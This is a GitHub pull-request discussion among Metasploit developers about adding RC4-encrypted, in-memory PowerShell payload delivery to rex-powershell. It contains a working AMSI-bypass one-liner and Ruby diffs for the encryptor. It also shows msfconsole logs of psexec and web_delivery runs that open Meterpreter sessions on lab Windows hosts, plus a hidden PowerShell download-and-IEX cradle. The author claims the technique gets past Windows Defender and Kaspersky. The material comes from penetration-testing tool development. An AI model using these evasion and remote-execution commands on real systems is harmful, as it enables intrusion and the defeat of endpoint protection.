Closed AdrianVollmer closed 4 years ago
Is the dependency on rc4 a problem?
@AdrianVollmer: I like the obfuscation approach, will try and merge this over the last stuff i added and see what it produces. While the AMSI disable via
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
piece is viable at present to permit use of invoke-expression, i'd like to try and keep the code viable under AMSI if possible, which in this case is likely a matter of replacing the IEX with a &(...) block. This AMSI cat-and-mouse mess will go on ad nauseum, and having the functionality to disable its current incarnation in framework is nice, but i'd rather not have that hiding other things which will trip AMSI soon as disabling it is no longer an option. Thanks for PRing this, i'll try to get it reviewed today/tomorrow and get back with some comments or code suggestions.
@AdrianVollmer I'm still trying to embrace the Ruby lifestyle, but I'm curious about the require rc4
causing this to fail Travis builds. Unfortunately, searching Google for require rc4
is pretty useless. Is this a public library? I cannot require
it in an irb session, so I'm guessing it is not a built-in.
An error occurred while loading ./spec/rex/powershell/command_spec.rb.
Failure/Error: require 'rc4'
LoadError:
cannot load such file -- rc4
I have been drawn to understand that my problem was ruby syntax related and rc4 is a builtin, so that begs more questions.....
rex-powershell may need ruby-rc4
added explicitly to its gemspec if it's not there already. It may be assuming that it gets it from metasploit's list of gems.
This should fix the specs:
~/projects/rex-powershell
$ git diff
diff --git a/rex-powershell.gemspec b/rex-powershell.gemspec
index 20784b2..031d5ae 100644
--- a/rex-powershell.gemspec
+++ b/rex-powershell.gemspec
@@ -26,4 +26,5 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-text'
spec.add_runtime_dependency 'rex-random_identifier'
+ spec.add_runtime_dependency 'ruby-rc4'
end
I'm not sure if it's public, but another metasploit module is also requiring it: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/crypto/rc4.rb
I'm also more of a python guy, but @busterb seems to know what he's talking about ;) thanks for the fix, I added the line
My coworkers have another situation right now where they could use this feature. Do you have a timeline on this? Is there something I can do to help get this merged?
Sure, taking a look. Sorry, having this as a separate repo often feels like more of a curse than a blessing in hindsight, for keeping track of things.
@AdrianVollmer: i've created a PR to your repo updating the naming convention a bit and replacing the IEX bit in another commit.
So i've gone through this a couple of times and it seems there's something wonky with either the input to the encoder/decryptor, or the decryptor itself. I've tried replacing the RC4 implementation in payload.rb with the same one we use to encrypt the binary payloads:
diff --git i/lib/rex/powershell/payload.rb w/lib/rex/powershell/payload.rb
index b2196e1..8a3a811 100644
--- i/lib/rex/powershell/payload.rb
+++ w/lib/rex/powershell/payload.rb
@@ -1,6 +1,5 @@
# -*- coding: binary -*-
require 'rex/random_identifier'
-require 'rc4'
module Rex
module Powershell
@@ -117,9 +116,11 @@ module Payload
rig.init_var(:var_key)
rig.init_var(:random_string)
- key = Rex::Text.rand_text_alpha(rand(8)+8)
- rc4 = RC4.new(key)
- enc_code = rc4.encrypt(code)
+ key = Rex::Text.rand_text_alpha(16)
+ rc4 = OpenSSL::Cipher.new('RC4')
+ rc4.decrypt
+ rc4.key = key
+ enc_code = rc4.update(code)
hash_sub = rig.to_h
hash_sub[:random_key] = key
to no effect, the output of _([system.Text.Encoding]::UTF8).GetString((
?H????? AQAPRQVH1?eH?R`H?R↑H?R H?rPH☼?JJM1?H1??<a|☻, A??A☺???RAQH?R ?B<H☺?f?x↑♂☻☼?r ???...
I've tried using UTF8 and Unicode, same deal (latter produces question marks). Somethings amiss either on my end or in the PR.
I've also made a few added changes to my PR on this PR, especially removing the AMSI line. 2008 and the like dont have AMSI, so that line crashes the script. On 2016, AMSI catches that line. Hardcoded AMSI bypasses in templates are a bad idea, its a fast moving target.
In the original version of the B64 trick, the text encoded is Unicode. I tried that as well by calling Rex::text.to_unicode(code) on the encryption op, but decrypted content is still messy (not quite as bad, but much longer obviously since Unicode is wider).
I'm guessing the PSH decrypt loop isnt quite working here, since base64 conversion is pretty straight forward...
@sempervictus I may be just not understanding git, but it looks like your PR (https://github.com/AdrianVollmer/rex-powershell/pull/1) is targeted to AdrianVollmer:master
and this branch is AdrianVollmer:iex-rc4
?
Yeah, even with manual URL construction GH won't let me MAKE a PR against the correct branch. It only allowed me to pull against @AdrianVollmers master. Sorry about that.
Thanks for the improvements, I merged your branch onto the right one.
Hi, it looks like the conflict resolved in command.rb first. Then probably we need to determine if https://github.com/rapid7/metasploit-framework/pull/11257#issuecomment-459514560 is still a bug?
I resolved the conflict. Not sure what the bug is supposed to be or how to reproduce it.
Reminder to myself (or anyone) The catch here is twofold: 1) It appears that RC4 in powershell does not match the implementation in Ruby. We need to verify that you can use one to encode and the other to decode. 2) We need to verify this runs fine on powershell 1.0 (spec test on XP)
I believe the RC4 implementations match. As a test, I wrote two small scripts. They both create a sequence of 10000 pseudo random numbers and encrypt them with the key abcdefghjikjlmnopqrstuvwxyz
. The ruby version and the PowerShell verion
The sha256 hash of both results match:
Algorithm Hash Path
--------- ---- ----
SHA256 0A480D5F20B57D8E287ECCBB383A1565F77F3C0892A37D4352790E3611B34F1C
SHA256 B3D613A56891B6FEA507EA9569728BE69490D598D56B19903FBC4BD20B591F81
$ ruby test.rb
0a480d5f20b57d8e287eccbb383a1565f77f3c0892a37d4352790e3611b34f1c
b3d613a56891b6fea507ea9569728be69490d598d56b19903fbc4bd20b591f81
Do you have any other ideas on what to test? Or why exactly do you believe the implementations don't match?
Hey there..... I want to land this, so I brought in the changes locally, updated the gem, and after an hour or so of reversing what this does, I added the rc4 option to Msf::Exploit::Powershell
. I guess there's more to it than that, because it fails:
msf5 exploit(windows/smb/psexec) > show advanced
Module advanced options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
...
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil, rc4)
...
msf5 exploit(windows/smb/psexec) > set POWERSHELL::method rc4
POWERSHELL::method => rc4
msf5 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.132.195 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass vagrant no The password for the specified username
SMBUser vagrant no The username to authenticate as
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4567 yes The listen port
RHOST 192.168.132.195 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/smb/psexec) > run
[*] 192.168.132.195:445 - Connecting to the server...
[*] 192.168.132.195:445 - Authenticating to 192.168.132.195:445 as user 'vagrant'...
[*] 192.168.132.195:445 - Selecting PowerShell target
[*] 192.168.132.195:445 - Executing the payload...
[+] 192.168.132.195:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.132.195:4567
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/psexec) > set POWERSHELL::method reflection
POWERSHELL::method => reflection
msf5 exploit(windows/smb/psexec) > run
[*] 192.168.132.195:445 - Connecting to the server...
[*] 192.168.132.195:445 - Authenticating to 192.168.132.195:445 as user 'vagrant'...
[*] 192.168.132.195:445 - Selecting PowerShell target
[*] 192.168.132.195:445 - Executing the payload...
[+] 192.168.132.195:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.132.195:4567
[*] Sending stage (206403 bytes) to 192.168.132.195
[*] Meterpreter session 1 opened (192.168.213.130:43689 -> 192.168.132.195:4567) at 2019-10-24 10:26:45 -0500
tmoosendmeterpreter > sysinfo
Computer : WIN10X64_1809
OS : Windows 10 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
tmoosendmeterpreter >
Sorry, I should have been clearer.
You are using a new method, as if this was an alternative to "reflection" or "dotnet". However, in my opinion, RC4 encryption can be used on top of the method. It does not matter how the shellcode is injected, whether by reflection or by using .NET. The way you use it, I believe shell code ends up directly in a PowerShell script, which obviously cannot be executed.
That's what I meant by the option exec_no_wrap
. I realize now I could have called it more appropriately, so I made another commit to rename it to exec_rc4
. But now I'm not sure if this is clear enough to the user. The main point of this PR is that PowerShell code is invoked directly and not via command line, allowing for larger payloads. (The other point was an AMSI bypass but I understand this is a rapidly moving target.)
The required commit (which I plan to submit as a pull request to metasploit-framework) can be seen here: https://github.com/AdrianVollmer/metasploit-framework/commit/814c28e858fd67cf9fbe121e0f320874db2da108
This works on Windows 10 with a stageless https payload:
$ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run'
[...]
15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) >
[*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443
[*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4
[*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4
[*] [2019.10.26-15:43:34] Server started.
[*] [2019.10.26-15:43:34] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4');
[*] [2019.10.26-15:43:37] 192.168.11.3 web_delivery - Delivering Payload (372601) bytes
[*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200
sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : SYSS-AVOLLMER-W
OS : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : de_DE
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
I also tested it on a Win7 machine. Unfortunately I do not have an XP machine right now.
I called this option
exec_no_wrap
. I'm not sure if the name is sufficiently descriptive; feel free to change it.AMSI is automatically disabled. See: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
This also has the advantage of allowing larger payloads, such as a stageless meterpreter. Encryption of the payload also helps with endpoint protection software that monitors HTTP traffic.
Successfully tested with up-to-date Windows Defender and Kaspersky Total Security.
Related discussions:
13
A PR to metasploit-framework adding the advanced option
exec_no_wrap
to the web delivery module is planned.